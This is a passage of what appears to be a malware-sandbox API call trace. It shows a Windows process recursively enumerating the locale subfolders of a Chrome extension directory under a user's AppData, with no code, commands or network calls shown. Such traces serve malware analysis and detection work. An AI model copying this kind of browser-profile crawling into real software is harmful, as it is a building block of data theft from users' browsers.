IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk" [0056.335] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk") returned 142 [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk") returned 142 [0056.335] lstrlenA (lpString="\\*.*") returned 4 [0056.335] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.335] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk" [0056.335] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk\\*.*" [0056.335] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sk\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.335] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.335] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.335] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.335] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.335] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.335] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.335] LocalFree (hMem=0x2dc218) returned 0x0 [0056.335] LocalFree (hMem=0x2dc100) returned 0x0 [0056.335] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.335] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.335] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.335] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.335] lstrlenA (lpString="\\") returned 1 [0056.335] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.335] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.341] lstrlenA (lpString="sl") returned 2 [0056.341] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.341] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl" [0056.341] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl") returned 142 [0056.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl") returned 142 [0056.341] lstrlenA (lpString="\\*.*") returned 4 [0056.341] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.341] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl" [0056.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl\\*.*" [0056.341] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sl\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.342] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.342] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.342] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.342] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.342] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.342] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.342] LocalFree (hMem=0x2dc218) returned 0x0 [0056.342] LocalFree (hMem=0x2dc100) returned 0x0 [0056.342] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.342] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.342] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.342] lstrlenA (lpString="\\") returned 1 [0056.342] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.342] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.342] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.342] lstrlenA (lpString="sr") returned 2 [0056.342] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.342] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.342] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr" [0056.342] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr") returned 142 [0056.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr") returned 142 [0056.342] lstrlenA (lpString="\\*.*") returned 4 [0056.342] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.342] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr" [0056.342] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr\\*.*" [0056.342] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sr\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.342] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.342] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.342] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.342] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.342] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.342] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.343] LocalFree (hMem=0x2dc218) returned 0x0 [0056.343] LocalFree (hMem=0x2dc100) returned 0x0 [0056.343] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.343] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.343] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.343] lstrlenA (lpString="\\") returned 1 [0056.343] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.343] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.343] lstrlenA (lpString="sv") returned 2 [0056.343] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.343] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv" [0056.343] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv") returned 142 [0056.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv") returned 142 [0056.343] lstrlenA (lpString="\\*.*") returned 4 [0056.343] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.343] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv" [0056.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv\\*.*" [0056.343] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\sv\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.343] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.343] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.344] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.344] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.344] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.344] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.344] LocalFree (hMem=0x2dc218) returned 0x0 [0056.344] LocalFree (hMem=0x2dc100) returned 0x0 [0056.344] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.344] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.344] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.344] lstrlenA (lpString="\\") returned 1 [0056.344] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.344] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.344] lstrlenA (lpString="th") returned 2 [0056.344] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.344] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK 